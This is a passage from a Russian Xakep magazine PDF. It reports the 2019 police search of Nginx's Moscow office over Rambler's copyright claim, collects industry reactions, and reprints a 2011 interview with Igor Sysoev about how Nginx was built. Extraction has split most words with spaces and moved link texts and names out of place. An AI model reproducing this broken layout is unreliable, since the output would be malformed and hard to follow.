По сте чению обсто ятель ств мне в кадр ни разу не попали сидящие за компь‐ 
юте рами и нап ряжен но работа ющие люди. Отчасти — потому что дело было
бли же к вечеру, но и в это вре мя работа в реаль нос ти еще идет.

А вот сни мок из лабора тории IoT, которую недав но откры ли в Avast.

Но это, как говорит ся, уже сов сем дру гая исто рия.

mailto:apismenny@gmail.com
https://xakep.ru/2019/12/09/avast-apt/
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12  декаб ря  2019  года  в  мос ков ском  офи се  раз работ чиков
Nginx про шел неожи дан ный обыск, о котором вна чале ста ло
извес тно  бла года ря  опуб ликован ному  в  Twitter  сооб щению
сот рудни ка  Nginx  Иго ря  Иппо лито ва.  И  хотя  ори гиналь ное
сооб щение вско ре было уда лено,  так как Иппо лито ва «нас‐ 
той чиво поп росили»,  твит и  при ложен ные  к  нему фото пос‐ 
танов ления  о  про изводс тве  обыс ка  замети ли  и  сох ранили

,  поэто му  документ  мож но  уви деть
ниже.
дру гие  поль зовате ли

Как вид но из тек ста пос танов ления, обыск про водил ся в свя зи с воз бужден‐ 
ным  уго лов ным  делом  по  час тям  «Б»  и  «В»  статьи  146  УК  РФ  («Наруше ние
автор ских  и  смеж ных  прав»,  пун кты  «в  осо бо  круп ном  раз мере»  и  «груп пой
лиц  по  пред варитель ному  сго вору  или  орга низо ван ной  груп пой»).  В  ито ге
раз работ чикам  и  осно вате лям Nginx  гро зит  не  толь ко  потеря  про екта,  но  и
до шес ти лет лишения сво боды.

Суть  пре тен зии  «Рам бле ра»  сос тоит  в  том,  что  некие  «неус танов ленные
лица»,  в  рабочее  вре мя  и  по  при казу  руководс тва  ком пании,  не  поз‐ 
днее  4  октября  2004  года  соз дали  «прог рамму  для  ЭВМ  „энджи никс“»,
а  затем,  «имея  умы сел  на  наруше ние  автор ских  прав»,  опуб ликова ли  ее
в Сети и при нялись рас простра нять, заяв ляя, что пра ва на нее при над лежат
исклю читель но  Иго рю  Сысо еву  —  осно вате лю  и  раз работ чику  Nginx,  быв‐ 
шему сот рудни ку «Рам бле ра».

«Мы обна ружи ли, что исклю читель ное пра во ком пании „Рам блер Интернет
Хол динг“ на веб‐сер вер Nginx наруше но в резуль тате дей ствий  треть их лиц.
В свя зи с этим "Рам блер Интернет Хол динг" усту пила пра ва на предъ явле ние
пре тен зий  и  исков,  свя зан ных  с  наруше нием  прав  на  Nginx,  ком пании  Lyn‐
wood  Investments  CY  Ltd,  которая  обла дает  необ ходимы ми  ком петен циями
для вос ста нов ления спра вед ливос ти в воп росе о при над лежнос ти прав», —

 в пресс‐служ бе Rambler Group.со общи ли
Из дание  «Ком мерсант» отме чает,  что  ком пания Lynwood  Investments  свя‐ 

зана  с  сов ладель цем Rambler Group  Алек сан дром Мамутом —  в  час тнос ти,
через  эту  ком панию  биз несмен  вла дел  бри тан ской  книж ной  сетью
Waterstones.

В  Rambler  Group  оце нива ют  свой  ущерб  по  сос тоянию  на  2011  год
в 51,4 мил лиона руб лей.

На пом ним,  что  в  2011  году Игорь Сысо ев  покинул  «Рам блер»  и  осно вал
ком панию  Nginx,  которая,  помимо  сво бод ного  ПО,  ста ла  пред лагать  ком‐ 
мерчес кие про дук ты. В нас тоящее вре мя Nginx — это 

,  с  исполь зовани ем  его  работа ет  поч ти  чет‐ 
верть всех сай тов.

один из самых популяр‐ 
ных  веб‐сер веров  в  интерне те

Уже  к  2018  году  выруч ка  Nginx  сос тавля ла  26  мил лионов  дол ларов,  и  в
мар те 2019 года Nginx за 670 мил лионов дол ларов   ком пания F5,
один из мировых лидеров в области муль тиоб лачных сер висов. Коман да раз‐ 
работ ки  про екта,  вклю чая  его  осно вате лей  Иго ря  Сысо ева  и  Мак сима
Конова лова, про дол жила работу над Nginx уже в сос таве F5.

при обре ла

Что об этом говорят
Со общес тво  и  рос сий ская  ИТ‐индус трия  отре аги рова ли  на  про исхо дящее
с  Nginx  очень  бур но,  и  мно гие  соч ли  эти  события  край не  пло хим  зна ком
для рос сий ско го интернет‐биз неса. Мы соб рали некото рые важ ные реак ции
и ком мента рии.

Ди рек тор  по  рас простра нению  тех нологий  «Яндекса» 
 под держал Сысо ева и опуб ликовал от лица  ком пании

офи циаль ное заяв ление, озаг лавлен ное « ».

Гри горий

Бакунов aka Bobuk

Open source — наше всё
,  занимав ший  дол жность  исполни тель ного  дирек тора

Рам бле ра в начале нулевых,  ,  что не видит пер спек тив для дан ного
дела.  «Никаких  слу жеб ных  заданий,  пред писыва ющих  раз рабаты вать  такой
веб‐сер вер,  не  было», —  утвер жда ет  он.  Более  того,  ,
при  най ме  на  работу  с  Сысо евым  было  спе циаль но  ого воре но,  что  у  него
есть свой про ект, которым он име ет пра во занимать ся. Поэто му изло жен ную
в матери алах уго лов ного дела вер сию он счи тает «чушью».

Игорь  Ашма нов

за явля ет

по  сло вам Ашма нова

Ос нователь Habr    , что «по стран ному сте‐ 
чению обсто ятель ств [эту] исто рию дос тали пос ле захода Сбе ра в Рам блер»,
имея в виду, что в текущем году в акци онер ной струк туре Rambler Group про‐ 
изош ли изме нения: в августе Сбер банк зак рыл сдел ку по покуп ке 46,5% ком‐ 
пании. Так же Крюч ков  , что сай ты мвд.рф и kremlin.ru тоже исполь‐ 
зуют в работе Nginx.

Де нис Крюч ков пи шет в Twitter

на поми нает

Гла ва про вай дера Diphost и вла делец телег рам‐канала «Эшер II» 
  : «В nginx вло жено боль шое количес тво кода сто рон них людей.

Если Рам бле ру  чудом  удас тся  обну лить  сво бод ную  лицен зию,  люди  гипоте‐ 
тичес ки  смо гут  пот ребовать  уда лить  их  код  из  nginx,  так  как  не  переда вали
исклю читель ных  прав  Рам бле ру.  И  такие  най дут ся.  Сам  факт  тяжб  будет
делать про дукт ток сичным. А выиг ранные спо ры — прев ратят его в кир пич 15‐
лет ней  дав ности.  В  мире  ничего  не  изме нит ся.  Ско рее  все го,  решение
локаль ного суда будет там приз нано полити чес ки анга жиро ван ным».

Фи липп

Кулин пи шет

Аме рикан ская ком пания  ,  купив шая Nginx в этом  году, под‐ 
твер дила факт обыс ка в мос ков ском офи се ком пании, но не уточ нила никаких
деталей. «Ранее сегод ня рос сий ская полиция приш ла в мос ков ский офис Ng‐
inx. Мы все еще собира ем фак ты по это му воп росу, поэто му у нас нет никаких
ком мента риев,  которые  мож но  дать  в  нас тоящее  вре мя»,  —  заяви ли  в  F5
Networks.

F5 Networks

Еще  в  2011  году  тог дашний  глав ный  редак тор  «Хакера»  Сте па  Иль ин  брал
интервью  у  Иго ря  Сысо ева,  и  уже  тог да  спра шивал  его,  не  воз никнет  ли
у  «Рам бле ра»  воп росов  отно ситель но  автор ских  прав  и  уда лось  ли  Иго рю
сох ранить пра ва на пакет за собой. Игорь отве тил, что все в пол ном поряд ке,
раз работ ку Nginx он начинал еще до работы в Рам бле ре, а про дукт с самого
начала  выпус кался  под  лицен зией  BSD,  как  откры тое  прог рам мное  обес‐ 
печение.

— Игорь, рас ска жите, как стро илось ваше обра зова ние, как приш -
ли к прог рамми рова нию и вооб ще увлеклись компь юте рами.
— Я родил ся в Казах ста не в малень ком город ке. Ког да мне было око ло года,
моего  отца  (он  воен ный)  переве ли  в  Алма‐Ату,  и  я  жил  там  до  18  лет.
В  1987  году  я  окон чил  шко лу  и  поехал  пос тупать  в  МВТУ  име ни  Баума на,
одна ко с пер вого раза пос тупить не уда лось, и я вер нулся назад в Алма‐Ату,
где устро ился работать лаборан том в фили ал Инсти тута повыше ния ква лифи‐ 
кации  Минис терс тва  геоло гии  СССР.  Там  были  ста рые  компь юте ры
«Искра‐226», на них я и начал что‐то прог рамми ровать на бей сике.

А  еще  в  то  вре мя  в  жур нале  «Радио»  была  опуб ликова на  серия  ста тей,
как  соб рать  собс твен ный  компь ютер  «Радио‐86РК»,  и  бла года ря  их  чте нию
у меня сло жилось дос таточ но неп лохое пред став ление, как компь ютер устро‐ 
ен и как он работа ет. А пер вый опыт работы с компь юте рами был чуть рань‐ 
ше: в стар ших клас сах я ходил во Дво рец пионе ров, и там пос тавили компь‐ 
юте ры  Yamaha  КУВТ  (стан дарта MSX).  Пом ню,  ког да  набирал  пер вую  прог‐ 
рам мку, перепу тал еди ницу с бук вой I. В общем, она у меня не работа ла из‐за
таких вещей.

— А пом ните свою пер вую прог рамму, которой поль зовались дру -
гие люди?
—  Моя  пер вая  круп ная  и  отчужда емая  прог рамма  —  это  анти вирус  AV,
который я написал в 1989–1990 годах. Написан он был пол ностью на ассем‐ 
бле ре, объ ем ассем блер ного кода был где‐то поряд ка 100 Кбайт. Прог рамма
уме ла  находить  нес коль ко  вирусов,  имея  зашитую  внутрь  прог раммы  базу
с нес коль кими сиг натура ми извес тных  тог да в СССР вирусов,  которых было
от силы штук десять: вирусы «Мариху ана», «София», «Вена» и еще нес коль ко,
не пом ню их наз ваний. Вот это и была моя пер вая прог рамма, которую я рас‐ 
простра нял  в  бинар никах  —  исходни ков  я  тог да  не  раз давал.  В  ито ге  она
разош лась  по  стра не,  была  уста нов лена  даже  на  нес коль ких  заводах.  Была
и  обратная  связь:  люди  по  поч те  сла ли  пись ма  с  вируса ми,  записан ными
на дис кеты. Какое‐то вре мя я под держи вал дан ный анти вирус, но в ито ге году
в 1992‐м я уже потерял инте рес к этой теме, и прог рамма умер ла.

В  1994  году  я  окон чил  инсти тут,  а  за  год  до  это го  начал  работать  сис‐ 
темным  адми нис тра тором  в  одной  ком пании,  которая  была  свя зана  с  тор‐ 
говлей  неф тепро дук тами.  Там  я  про рабо тал  поч ти  семь  лет,  пос ле  чего
в  апре ле  2000  года  я  решил  уйти.  Тог да  как  раз  сдул ся  NASDAQ,  лоп нул
«пузырь дот комов», и как раз в этот момент я решил уйти в интернет. Пол года
я  про рабо тал  в  интернет‐магази не  XXL.RU,  пос ле  чего,  как  сей час  пом ню,
13 нояб ря 2000 года я при шел работать в Рам блер.

— Чем вы занима лись в Рам бле ре?
— Я работал сис темным адми нис тра тором. Одна ко кро ме непос редс твен ной
работы сисад мина я сно ва начал в сво бод ное вре мя писать прог раммы. Надо
отме тить,  что  в  мои  дол жностные  обя зан ности  прог рамми рова ние  не  вхо‐ 
дило,  но  пос коль ку  были  вре мя  и  тяга,  то  пер вое,  чем  я  занял ся, —  адап‐ 
тировал  патч  для  сжа тия  отве тов  Apache.  К  сожале нию,  на  тот  момент  имя
mod_gzip  было  уже  занято,  поэто му  я  наз вал  свой  вари ант  mod_deflate,
работал он с Apache 1.3.

По том  меня  поп росили  разоб рать ся  с  модулем  mod_proxy.  Я  его  пос‐ 
мотрел  и  решил,  что  про ще  написать  все  с  нуля,  чем  адап тировать  там
какие‐то вещи. Таким обра зом появил ся модуль mod_accel — модуль и набор
пат чей для Apache для ревер сно го  прок сирова ния. Это  все  тоже было  вес‐ 
ной 2001 года.

— То есть все эти модули вы делали для Рам бле ра, одновре мен -
но вык ладывая в паб лик?
—  В  основном  да.  Mod_deflate  на  самом  деле  при шел  из  пат ча,  который
писал Дмит рий Хрус талев, работая в РБК. То есть этот патч был взят за осно‐ 
ву, там моего кода, может, полови на толь ко.

Осенью 2001  года  у меня появи лась идея написать более лег кий и про‐ 
изво дитель ный  веб‐сер вер,  чем  Apache.  На  тот  момент  были  уже  дру гие
похожие  сер веры,  но  все  они  не  уме ли  прок сировать,  они  отда вали  толь ко
ста тику. Был у них еще один общий недос таток — они работа ли в одном про‐ 
цес се,  и,  соот ветс твен но,  отмас шта биро вать  их,  допус тим,  на  двух про цес‐ 
сорной машине было нере аль но.

На  тот  момент  у  меня  уже  был  дос таточ но  неп лохой  опыт  работы
с Apache — и как у сис темно го адми нис тра тора, и  как у прог раммис та. Два
написан ных модуля при бави ли мне зна ний: при ходи лось смот реть исходни ки
Apache и понимать, как там все устро ено. Поэто му очень мно гие вещи в Nginx
переко чева ли  из  Apache  иде оло гичес ки.  Не  код,  а  имен но  иде оло гия,  весь
код Nginx был написан с нуля.

Од нако не все мне нра вилось в Apache: нап ример, там очень лег ко мож но
сде лать  такую  кон фигура цию,  которую  будет  край не  слож но  под держи вать.
То есть сайт рас тет, добав ляет ся какая‐то новая фун кци ональ ность, и в кон це
кон цов  работать  с  сай том  ста новит ся  невоз можно.  Нуж но  что‐то  добавить,
и  ты  сидишь,  дума ешь:  «А  что  у  меня  сло мает ся  от  того,  что  я  добав лю?»
В Nginx я попытал ся этих вещей избе жать. В общем, где‐то вес ной 2002‐го я
начал раз рабаты вать Nginx.

— Быс тро ли о ваших раз работ ках узна ли внеш ние по отно шению
к Рам бле ру люди? Как эво люци они ровал про ект?
— В  2003  году  про  мои  раз работ ки  проз нали  сна ружи  Рам бле ра,  и,  более
того, Nginx  начал исполь зовать ся  на  нес коль ких  сай тах. Пер вым был  эстон‐ 
ский  сайт  зна комств  Rate.ee,  который  и  сей час  сущес тву ет.  Это,  кста ти,
самый высоко наг ружен ный сайт Эсто нии. Потом Nginx начал исполь зовать ся
на mamba.ru и на zvuki.ru, где раз давал MP3.

В  начале  2004  года  Рам блер  запус кал  сер вис  foto.rambler.ru,  и  один
из  кол лег,  Олег  Бунин,  поп росил  меня  доделать  в  Nginx  фун кци ональ ность
прок сирова ния  зап росов,  что бы начать  пол ноцен но  исполь зовать  его  в  том
чис ле на фотосер висе Рам бле ра. До это го момен та про ект был дос таточ но
ака деми чес ким, я его пос тепен но писал, но это мог ло никог да ничем не кон‐ 
чить ся,  то  есть  в  про дакшн  его,  может  быть,  ниг де  и  не  пос тавили  бы.
В общем,  получи лось  так,  что  я  сроч но  доделал  и  прок сирова ние. И  где‐то
в начале 2004 года появи лась вер сия с прок сирова нием, а сер вис  foto.ram‐
bler.ru зарабо тал на базе Nginx.

4 октября 2004 года, в оче ред ную годов щину запус ка пер вого кос мичес‐ 
кого спут ника, я выпус тил пер вую пуб личную вер сию: 0.1.0.

— Сей час доля Nginx рас тет очень быс тро, а как дело было
в самом начале?
Сей час  он  дей стви тель но  рас тет  дос таточ но  быс тро.  Вна чале  все  было
замет но скром нее. В пер вый год наиболь шую популяр ность Nginx по оче вид‐ 
ным  при чинам  набирал  в  Рос сии.  В  даль нейшем  про  Nginx  узна ли  и  за  ее
пре дела ми, и отдель ные энту зиас ты начали его исполь зовать на свой страх
и риск. Появил ся  англо языч ный  спи сок  рас сылки,  ста ли  появ лять ся  сто рон‐ 
ние ресур сы, опи сыва ющие Nginx, люди при сыла ли мне все боль ше пожела‐ 
ний  и  замеча ний,  я  вно сил  исправ ления,  про дукт  пос тепен но  набирал
популяр ность. Сей час про ект дей стви тель но рас тет очень быс тро, и это ста ло
одним из поводов для соз дания ком пании. В оди ноч ку я уже прос то перес тал
справ лять ся.

— Так что, никако го прод вижения вооб ще не было, получа ется,
про дукт сам себя сде лал?
С моей сто роны никако го спе циаль ного пиара не было. Хотя есть такое мне‐ 
ние, что луч ший пиар — это прос то хороший про дукт. То есть весь рост обус‐ 
лавли вал ся  тем,  что  Nginx  «прос то  работал»  и  люди  рас ска зыва ли  о  сво ем
положи тель ном  опы те  зна комым  адми нам,  те  —  сво им  зна комым,  и  так
по прин ципу сарафан ного радио. Популяр ность Nginx, на мой взгляд, свя зана
с  нес коль кими  вещами.  Во‐пер вых,  это  эффектив ный  и  бес плат ный  софт,
который поз воля ет сущес твен но эко номить аппа рат ные ресур сы и денеж ные
средс тва, во‐вто рых, он в прин ципе неп лохо работа ет.

— Но есть же ана логи, lighttpd тот же самый нап ример.
— На  самом  деле  есть  еще  пара  при чин:  получи лась  доволь но  инте рес ная
ком бинация  жиз ненно  важ ных  фич  для  соз дания  эффектив ной
веб‐инфраструк туры, которые я добав лял пос тепен но и которые сде лали Ng‐
inx таким незаме нимым инс тру мен том. При этом Nginx не перег ружен ненуж‐ 
ными фичами и оста ется очень ком пак тной раз работ кой. Кро ме того, модуль‐ 
ность Nginx поз волила мно гим ком пани ям и сто рон ним раз работ чикам стро‐ 
ить  свои  рас ширения  на  базе  ядра  Nginx.  Мож но  ска зать,  что  Nginx  дав но
стал в сво ем роде веб‐плат формой.

По поводу lighttpd (lighty). Ког да‐то он был более рас простра нен, чем Ng‐
inx, и более известен в мире. Его автор — немец Ян Кнеш ке (Jan Kneschke).
Раз ница в популяр ности была свя зана с тем, что Рос сия — непонят ная стра на
с  балалай кой  и  мед ведем,  сне гом,  а  тут  Евро па. Опять  же,  и  с  англий ским
у него луч ше было, в том чис ле и с англий ской докумен таци ей.

Кста ти,  бла года ря  lighttpd  обрел  вто рое  дыхание  про токол  FastCGI.
До  2000–2001  года  это  была  экзо тика,  все  исполь зовали  интер пре тато ры,
которые  были  внут ри  Apache:  PHP,  Perl,  Python.  А  пос коль ку  в  lighttpd
исполнять  внут ри  про цес са  PHP‐код  нере аль но,  то  решени ем  стал  FastCGI.
И  имен но  бла года ря  lighttpd  FastCGI  обрел  вто рую  жизнь.  Хотя
еще в 2000 году люди говори ли: «Зачем, что это такое — FastCGI? У нас есть
mod_php, и там все прек расно работа ет».
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— Какие глав ные кей сы исполь зования Nginx вы видите сей час?
— Основное  исполь зование  на  наг ружен ных  сай тах —  это  прок сирова ние.
При этом Nginx  уста нов лен  в  качес тве фрон тэнда и прок сиру ет  при ложе ния
на бэкэн дах по HTTP либо по FastCGI или WSGI. При этом стан дар тным под‐ 
ходом явля ется исполь зование в связ ке с Apache — нап ример, на моем пре‐ 
дыду щем мес те работы Nginx дол гое вре мя работал имен но так, толь ко пару
лет  назад  перек лючились  на  исполь зование  FastCGI.  Кста ти,  в  этом  слу чае
в  ста тис тике  отоб ража ется,  что  появ ляет ся  Nginx,  про пада ет  Apache.  Хотя
на  самом  деле  исполь зует ся  и  то  и  дру гое:  прос то  Nginx  явля ется  одним
из ком понен тов прок си‐сис темы, видимым сна ружи.

— Объ ясни те наг лядно, зачем вооб ще прок сировать зап росы?
— Почему, собс твен но, люди исполь зуют Apache с Nginx? Казалось бы, зачем
тут  лиш нее  зве но,  которое  будет  мешать.  Apache  хорошо  и  лег ко  исполь‐ 
зовать  там,  где  нуж но  выпол нение  какого‐то  при ложе ния,  нап ример
с помощью mod_php. Вот  теперь пред ставь те  себе,  что  этот PHP спо собен
генери ровать 100 отве тов в секун ду, а каж дый ответ име ет раз мер, условно,
100  Кбайт.  Не  все  кли енты  исполь зуют  быс трые  соеди нения:  10  лет  назад
были модем ные кли енты, сей час очень рас простра нен мобиль ный интернет,
у кого‐то прос то пло хой про вай дер или мед ленный тариф.

И вот у нас есть ответ объ емом 100 Кбайт и эффектив ная ско рость к кли‐ 
енту, нап ример 80 Кбит/с (10 Кбайт/с). Зна чит, этот ответ будет переда вать ся
кли енту  10  секунд.  В  резуль тате  все  это  вре мя,  пока  кли ент  мед ленно  ска‐ 
чива ет  ответ,  Apache  вмес те  с  PHP  «жрет»  10–20 Мбайт  памяти  на  одно го
кли ента. И вмес то того, что бы занимать ся тем, что Apache может делать быс‐ 
тро, он ждет, пока мед ленные кли енты заг рузят отве ты. На все это рас ходу‐ 
ется очень мно го памяти, да и про цес сор тоже.

Ког да  мы  ста вим  Nginx  меж ду  кли ента ми  и  Apache,  то  все  начина ет
работать  эффектив нее: Nginx мак сималь но  быс тро  при нима ет  на  себя  весь
ответ,  осво бож дая  Apache,  и  потом  уже  мед ленно  отда ет  его  кли ентам,
не рас ходуя мно го памяти. Мно го памяти или про цес сора Nginx не рас ходу ет,
потому что исполь зует ся дру гая архи тек тура веб‐сер вера — неб локиру емая,
осно ван ная на асин хрон ной обра бот ке событий, что поз воля ет обра баты вать
мно гие тысячи соеди нений в рам ках одно го про цес са (в отли чие от Apache,
где  каж дое  соеди нение  обра баты вает ся  отдель ным  про цес сом  или  тре‐ 
дом. —  ).прим. ред.

Ну и плюс  к  это му мы можем с бэкэн да вынес ти все ста тичес кие фай лы,
это  прос тая  вещь,  с  которой  Nginx  может  спра вить ся  очень  лег ко  и  мак‐ 
сималь но  эффектив но  —  таких  ста тичес ких  фай лов  Nginx  может  отда вать
одновре мен но  десят ки  тысяч  в  секун ду,  если  память  поз воля ет  и  если  поз‐ 
воля ет сетевое соеди нение с сер вером.

— Давай те вер немся к типовым сце нари ям.
— Итак, пер вый сце нарий — это ког да мы прос то занима емся аксе лери рова‐ 
нием, может быть, даже одно го‐единс твен ного сай та. У нас был Apache, мы
пос тавили перед ним Nginx, и — бах! — слу чилось чудо. Люди реаль но ста вят
и удив ляют ся, а потом пишут на «Хабр» о том, что «надо же, как кле во». Вто‐ 
рой вари ант — это тоже прок сирова ние, но у нас мно го бэкэн дов, то есть мы
можем  эффектив но  мас шта биро вать  горизон таль но  всю  сис тему  при  усло‐ 
вии,  что  само  при ложе ние  это  поз воля ет.  Таким  обра зом,  Nginx  выс тупа ет
в роли балан сиров щика наг рузки.

Од ним из недос татков текущей реали зации явля ется отсутс твие нес коль‐ 
ких политик балан сиров ки, но люди поль зуют ся, это работа ет, а фун кци онал
мы  будем  добав лять.  Что  еще?  Еще  сце нарий,  нап ример,  такой:  мно гим
людям  почему‐то  Apache  не  нра вит ся.  Хотят,  что бы  на  сер вере  был  толь ко
Nginx,  не  хотят  ста вить  Apache.  В  этом  слу чае  все  скрип ты  у  них  работа ют
через FastCGI для PHP или WSGI для Python.

Нап ример, WordPress.com — они дав ным‐дав но начали исполь зовать Ng‐
inx в качес тве балан сиров щика, а веб‐сер вером у них выс тупал ком мерчес кий
LiteSpeed. В этом году они уже пол ностью миг рирова ли на Nginx, теперь у них
PHP работа ет в режиме FastCGI.

Дру гой стан дар тный вари ант исполь зования — ког да Nginx прос то отда ет
всю ста тику, допус тим MP3, FLV‐, MPEG4‐видео, кар тинки.

— Давай те нем ного погово рим про безопас ность. Были ли за вре -
мя сущес тво вания Nginx какие‑либо серь езные уяз вимос ти?
— Уяз вимос ти были раз ные, но проб лем с тем, что бы с их помощью получить
уда лен ный  дос туп,  код  выпол нить,  —  такого  не  было.  Мож но  было  ронять
рабочие  про цес сы,  но  вот  имен но  исполнить  код  —  таких  уяз вимос тей
не было. Смот рите, обыч но экс пло ит рас счи тан на что? Мы чего‐то записа ли
в  сер вер,  ему  это  дело  упа ло  на  стек.  Сер вер  работа ет,  дела ет  воз врат
и попада ет на этот код.

Со ответс твен но,  что бы  экс пло ит  зарабо тал,  надо  знать,  где  стек  будет
у это го про цес са. Как пра вило, ког да есть какой‐нибудь пакет Debian/Ubuntu,
есть бинар ник, мож но вос про извести у себя ава рий ную ситу ацию, попытать‐ 
ся най ти, где находит ся этот стек, и таким обра зом сде лать экс пло ит. Как ста‐ 
ли  с  этим  бороть ся?  Ста ли  ран домизи ровать  адресное  прос транс тво  —
в сов ремен ной вин де, нап ример, это так работа ет.

— ASLR?
— Да, вер но. Это ран домиза ция. У нас стек был тут, а теперь стал вот тут. И,
соот ветс твен но, мы не можем пре дуга дать, то есть мы взя ли пакет, а понять,
где у него теперь стек, не получит ся. У Nginx в этом пла не про ще, потому что
на  сте ке  дан ных,  которые  чита ются  от  кли ентов,  прак тичес ки  нет.  Мож но
перес читать по паль цам нес коль ко слу чаев,  где это исполь зует ся, но в этих
мес тах  код доволь но надежен. Дан ные,  получа емые от  кли ентов, Nginx раз‐ 
меща ет «в куче», выделяя память при помощи  .malloc

Со ответс твен но,  если  туда  записать  где‐то  чуть  поболь ше,  то  мы
не попадем на ука затель сте ка. Вот эта ран домиза ция в Nginx при сутс тво вала
с  самого  начала.  В  общем,  написать  рабочий  экс пло ит  если  и  мож но,  то
очень слож но. Кро ме того, про цес сы, которые занима ются обра бот кой зап‐ 
росов, не работа ют от «рута».

Security‐advisory были, их мож но пос мотреть на сай те. Я счи таю, что на все
эти  сооб щения  об  ошиб ках  нуж но  реаги ровать  адек ватно,  спо кой но  и  про‐ 
фес сиональ но. Нап ример, скры вать факт бага, ког да все уже опуб ликова но,
говорить  типа  «Что?  Ничего  не  было,  все  хорошо» —  это  прос то‐нап росто
под рыва ет доверие к про екту.

— Сколь ко человек занима лось рань ше и занима ется сей час раз -
работ кой, раз вити ем про екта?
— Дол гое вре мя занимал ся я один, прак тичес ки весь код я написал в оди ноч‐ 
ку. Года четыре назад мне стал все боль ше помогать Мак сим Дунин. Кро ме
нас  дво их  еще  по  мере  раз вития  про дук та  люди  при сыла ли  пат чи.  При чем
час то  при сыла ют  прос то  пись ма  с  тек сто вым  опи сани ем  проб лем
или пожела ния. Мне говорят: «Есть ошиб ка, решить мож но ее вот так». Прос‐ 
то сло вами. Мы это дела ем по мере сил.

Еще  у  нас  сей час  есть  отдель ный  человек  —  Рус лан  Ерми лов,  который
сей час  занима ется  докумен таци ей.  Он  выпол няет  нес коль ко  задач:
это  перевод  текущей  рус ской  докумен тации  на  англий ский  язык,  акту али‐ 
зация  све дений  и  адап тация  докумен тации,  что бы  она  была  понят на
и  однознач на  для  людей,  впер вые  ее  чита ющих.  Час тая  проб лема,  ког да
автор пишет докумен тацию, у него в голове есть опре делен ный кон текст, и он
отталки вает ся от него. Дума ет, что вот это само собой разуме ется, а в ито ге
упус кает мно го деталей. С этим мы как раз активно борем ся: Рус лан смот рит
на Nginx «со сто роны», све жим взгля дом, поэто му спо собен писать так, что бы
всем все было понят но. Кро ме того, у Рус лана огромный опыт учас тия в раз‐ 
работ ке и докумен тирова нии слож ных прог рам мных про ектов.

— Пред лагаю перей ти к воп росам, свя зан ным с ком пани ей Nginx
и с тем, как вы вооб ще приш ли к соз данию биз неса.
Сей час  все  рас ска жу.  Итак,  навер ное,  году  в  2008‐м  приш ло  мне  пер вое
пись мо от  инвесто ра,  я  уже  не  пом ню даже,  кто  это был. В  общем,  за  пос‐ 
ледние два года таких писем было око ло десят ка. Люди хотели что‐то сде лать
с Nginx, сде лать ком панию. Но я отка зывал ся, пос коль ку я в целом не осо бо
биз несмен. Но в кон це кон цов я стал понимать, что что‐то делать нуж но, ина‐ 
че я прос то не смо гу даль ше в оди ноч ку раз вивать про ект, уже не хва тало сил
на все.

До воль но  мно го  вре мени  ушло  на  то,  что бы  осмыслить,  как  и  с  кем  я
хотел  бы  сде лать  ком панию  «вок руг»  Nginx.  Вооб ще,  я  очень  ред ко  меняю
нап равле ние жиз ни: нап ример, до Рам бле ра я семь лет работал в одной ком‐ 
пании,  в  Рам бле ре  я  тоже  про рабо тал  десять  лет.  Переме ны  для  меня
тяжелы. Но тем не менее к вес не это го года я все‐таки окон чатель но решил
осно вать  ком панию,  которая  бы  помог ла  даль нейше му  раз витию  про екта.
Отчасти  на  этот  шаг  меня  вдох новил  Сер гей  Бело усов,  соз датель  Parallels
и фон да Runa Capital. Мы с ним нес коль ко раз нефор маль но обща лись, и в
ито ге я пос тепен но стал зна читель но бли же к идее соз дать ком панию.

— Сер гей уме ет убеж дать, да?
—  Сер гей  вооб ще  очень  инте рес ный  человек,  с  ним  всег да  увле катель но
обсуждать  дела  и  не  толь ко,  он  очень  энер гичный  человек.  Сер гей  так же
доволь но  влас тный  руково дитель  —  я  думаю,  он  вли яет  на  очень  мно гие
решения  в  сво их  ком пани ях,  это  вла делец,  который  любит  кон тро лиро вать
про исхо дящее, непос редс твен но учас тво вать в биз несе.

Во обще, про цесс перего воров с инвесто рами, под писание усло вий сдел‐ 
ки, куча все го — это вещь тяжелая, потому что, во‐пер вых, очень мно го скуч‐ 
ных  деталей,  огромное  количес тво  бумаги  на  англий ском  язы ке, юри дичес‐ 
кой,  ее  на  рус ском‐то  язы ке  читать  тяжело,  а  по‐англий ски  —  тем  более.
Обго вари вание  все го,  опять  же  сог ласова ние  всех  вещей:  мы  хотим  то‐то,
они  хотят  то‐то.  Пси холо гичес ки  это  тяжело.  Зато  потом,  если  инвесто ры
понима ют твой биз нес, все ста новит ся зна читель но лег че.

— Инте рес но: вы работа ли в Рам бле ре и тру дились над Nginx.
У Рам бле ра не было никаких прав? Это такой тон кий воп рос.
Как уда лось сох ранить пра ва на про ект?
— Да,  это доволь но  тон кий  воп рос. Он,  конеч но,  инте ресу ет  не  толь ко  вас,
и мы  доволь но  осно ватель но  его  про рабо тали.  В  Рос сии  законо датель ство
устро ено  так,  что  ком пании при над лежит  то,  что сде лано в рам ках  тру довых
обя зан ностей  либо  по  отдель ному  догово ру.  То  есть  дол жен  быть  договор
с челове ком, где было бы ска зано: нуж но раз работать прог рам мный про дукт.
В Рам бле ре я работал сис темным адми нис тра тором, раз работ кой занимал ся
в сво бод ное вре мя, про дукт с самого начала выпус кался под лицен зией BSD,
как откры тое прог рам мное обес печение. В Рам бле ре Nginx начал при менять‐ 
ся уже тог да, ког да основной фун кци онал был готов. Более того, даже пер вое
при мене ние Nginx было не в Рам бле ре, а на сай тах Rate.ee и zvuki.ru.

— Кто еще у вас работа ет в ком пании Nginx?
—  Еще  у  нас  работа ет  Сер гей  Буд невич  —  сис темный  адми нис тра тор,  он
занима ется  под дер жкой  инфраструк туры  ком пании.  Инфраструк тура  у  нас
не очень боль шая, но она есть. У нас есть спис ки рас сылки, у нас есть поч‐ 
товый сер вер, авто мати чес кая сбор ка, тес тирова ние пекед жей, тре кинг оши‐ 
бок и др. Сер гей нам с этим очень помога ет. Мы сей час собира емся готовить
пакеты  еще  для  нес коль ких  Linux‐дис три бути вов:  CentOS,  Ubuntu.  Сер гей
занят авто мати заци ей раз нооб разных про цес сов, свя зан ных с раз работ кой,
тес тирова нием  и  соп ровож дени ем.  Есть  еще  два  челове ка:  один  человек
занима ется мар кетин гом — Андрей Алек сеев, а Мак сим Конова лов — вооб‐ 
ще началь ник все го, он дела ет так, что ком пания работа ет.

— А как офи циаль но называ ется ваша дол жность в ком пании?
— Фор маль но  я —  тех ничес кий  дирек тор. Я  не  умею руково дить  людь ми,  я
боль ше  фокуси руюсь  на  архи тек туре  будущих  про дук тов  и  переда че  раз‐ 
работ ки  «в  коман ду».  Доволь но  тяжело  делеги ровать  работу,  одна ко  ком‐ 
